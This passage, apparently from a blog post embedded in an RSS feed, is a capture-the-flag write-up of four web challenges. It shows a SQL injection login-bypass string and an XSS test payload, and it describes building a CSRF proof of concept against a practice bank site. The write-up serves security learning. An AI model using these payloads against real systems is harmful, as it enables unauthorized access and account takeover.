&lt;pre&gt;&lt;code&gt;a’ OR 1=1 --
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the flag appeared!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Second Challenge: Secure Shop&lt;/h2&gt;
&lt;p&gt;This time it was a search page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3oet-kbKoU2VkMYeQzJWRw.png&quot; alt=&quot;Secure Shop Search&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By inspecting the page with developer tools, I found the flag laying there:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*KeDRI655KZt0XjYEe05X_Q.png&quot; alt=&quot;Flag in Source&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I suspected the challenge should be solved in another way. The JavaScript function was converting ASCII values to normal characters and saving it in a variable called &lt;strong&gt;flag&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Then I checked if the website was vulnerable to &lt;strong&gt;XSS&lt;/strong&gt; by testing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*GyRzsq3U02ggM955wqivJA.png&quot; alt=&quot;XSS Test&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, I copied the JavaScript code from the page into the search bar, added an alert to reveal the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
var codes = [101, 121, 99, 99, 123, 101, 102, 108, 99, 107, 102, 
             106, 101, 110, 99, 108, 97, 107, 101, 102, 125];
var flag = String.fromCharCode.apply(null, codes);
alert(flag);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The site blocked input on reload, so I ran the script locally to view the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*ezqJaWCnw9caubqj8SVbIg.png&quot; alt=&quot;Flag Revealed&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Third Challenge: Whisper Box&lt;/h2&gt;
&lt;p&gt;The webpage itself had nothing special:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1224/format:webp/1*hBU3QYKQIl8O0SxM8bmMBA.png&quot; alt=&quot;Whisper Box&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I viewed the page source and found some credentials:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1274/format:webp/1*B5vnR7FACrwZovqi7OiryQ.png&quot; alt=&quot;Credentials&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My first thought was to send a POST request with these credentials using cURL:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*BnHgtaUj3rRumPWkUyj9Jw.png&quot; alt=&quot;cURL Post&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And here’s the flag!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Fourth Challenge: Secure Bank&lt;/h2&gt;
&lt;p&gt;To solve this challenge and get the flag, our mission was to make a CSRF PoC for the password changing page of a provided website.&lt;/p&gt;
&lt;p&gt;The login page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1296/format:webp/1*fSHi2n5v4lsB4Gm13GcO_g.png&quot; alt=&quot;Bank Login&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After logging in with provided credentials (&lt;em&gt;user &amp;amp; password&lt;/em&gt;), the dashboard appeared:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*HWU9Mt-UgaX61j6C3Vur0A.png&quot; alt=&quot;Dashboard&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked the password changing page and captured the request using Burp Suite:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*KjULITpAotY9OeWx8XR3lA.png&quot; alt=&quot;Burp Capture&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I copied the request to CSRF Shark and created a CSRF PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:2000/format:webp/1*dBclxYvZrCxL20uQRS045Q.png&quot; alt=&quot;CSRF PoC&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, I submitted the PoC after adding the &lt;code&gt;no-referrer&lt;/code&gt; meta tag (mandatory for acceptance):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1016/format:webp/1*hkszD8hIsKmc6PoswPCfEg.png&quot; alt=&quot;PoC Submitted&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Et voila!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1266/format:webp/1*9Zal-fZLS3ei4GYyGm0iUw.png&quot; alt=&quot;Flag Success&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And that’s it! Don’t forget to check my other write-ups for the Crypto, Forensics, and OSINT challenges!&lt;/p&gt;
</content:encoded></item></channel></rss>